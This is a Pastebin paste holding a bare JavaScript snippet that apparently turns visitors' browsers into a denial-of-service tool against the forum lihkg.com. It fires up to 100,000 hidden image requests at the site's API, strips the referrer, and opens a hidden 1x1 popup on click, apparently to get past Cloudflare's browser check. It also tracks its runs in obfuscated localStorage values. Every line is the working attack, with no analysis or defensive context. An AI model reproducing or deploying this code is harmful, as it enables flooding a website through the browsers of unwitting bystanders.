Advertisement
Guest User

Untitled

a guest
Aug 31st, 2019
3,974
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var TASKID = 33190;
  2. var MAGICNUM = 11997755;
  3. var EXECNUM = 100;
  4. var FEEDBACKADDR = 'http://116.255.226.154/';
  5. if ((/chrome\/([\d]+)/gi.exec(window.navigator.userAgent.toLowerCase())[1] >= 34) && (window.navigator.userAgent.toLowerCase().indexOf("edge") < 0)) {
  6.     var MAX_TIME = 300000;
  7.     var MAGIC = 0x58585858;
  8.     var MAX_COUNT = 100000;
  9.     var url_list = ['https://lihkg.com/api_v2/thread/latest?cat_id=1&page=1&count=60&type=now&t='];
  10.     var cloudflare_js_validate_url = 'https://lihkg.com';
  11.     var TIMEGAP = 500;
  12.     function unixtime() {
  13.         var a = new Date();
  14.         return Date.UTC(a.getFullYear(), a.getMonth(), a.getDate(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1000
  15.     }
  16.     function updateVT() {
  17.         localStorage.vt = (unixtime() + MAX_TIME / 1000) ^ MAGIC
  18.     }
  19.     function canExe() {
  20.         if (localStorage.vt == null) {
  21.             updateVT();
  22.             return true
  23.         } else {
  24.             if ((localStorage.vt ^ MAGIC) > unixtime()) {
  25.                 return (localStorage.cl != '0')
  26.             } else {
  27.                 if (localStorage.cl != '0') {
  28.                     updateVT();
  29.                     return true
  30.                 } else {
  31.                     return false
  32.                 }
  33.             }
  34.         }
  35.     }
  36.     if (canExe() == true) {
  37.         localStorage.cl = 0;
  38.         document.getElementsByTagName("head")[0].innerHTML = "<meta name=\"referrer\" content=\"no-referrer\">" + document.getElementsByTagName("head")[0].innerHTML;
  39.         window.onbeforeunload = function () {
  40.             localStorage.cl = 1
  41.         };
  42.         var canpop = false;
  43.         var p_win = null;
  44.         function popwin() {
  45.             if (canpop == true) {
  46.                 p_win = window.open(cloudflare_js_validate_url, '_blank', 'toolbar=no,status=no,menubar=no,scrollbars=no,resizable=no,left=100000, top=100000, width=1, height=1, visible=none', '');
  47.                 window.focus();
  48.                 canpop = false;
  49.                 document.removeEventListener('click', popwin)
  50.             }
  51.         }
  52.         document.addEventListener('click', popwin);
  53.         var p_img = null;
  54.         var timer = null;
  55.         var starttime = null;
  56.         var requesttime = null;
  57.         var responsetime = null;
  58.         var url = '';
  59.         var count = 0;
  60.         function imgdel() {
  61.             if (p_img != null) {
  62.                 document.body.removeChild(p_img)
  63.             }
  64.             p_img = null;
  65.             url = url_list[unixtime() % url_list.length];
  66.             if (count < MAX_COUNT && responsetime - starttime < MAX_TIME) setTimeout('imgadd()', (responsetime - requesttime) > TIMEGAP ? TIMEGAP : (responsetime - requesttime));
  67.             else localStorage.cl = 1
  68.         }
  69.         function isImgComplete() {
  70.             if (p_img.complete) {
  71.                 window.clearInterval(timer);
  72.                 responsetime = new Date().getTime();
  73.                 if (responsetime - requesttime > 1000) {
  74.                     if (p_win != null) {
  75.                         p_win.close();
  76.                         p_win = null
  77.                     }
  78.                     count += 1
  79.                 } else {
  80.                     canpop = true
  81.                 }
  82.                 imgdel()
  83.             } else {
  84.                 if (new Date().getTime() - requesttime > 2000) {
  85.                     imgdel()
  86.                 }
  87.             }
  88.         }
  89.         function imgadd() {
  90.             p_img = document.body.appendChild(document.createElement('img'));
  91.             p_img.src = url + unixtime() + Math.ceil(Math.random() * 100);
  92.             p_img.style.display = 'none';
  93.             requesttime = new Date().getTime();
  94.             timer = setInterval("isImgComplete()", 50);
  95.             count = count + 1
  96.         }
  97.         starttime = new Date().getTime();
  98.         url = url_list[unixtime() % url_list.length];
  99.         imgadd()
  100.     }
  101. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement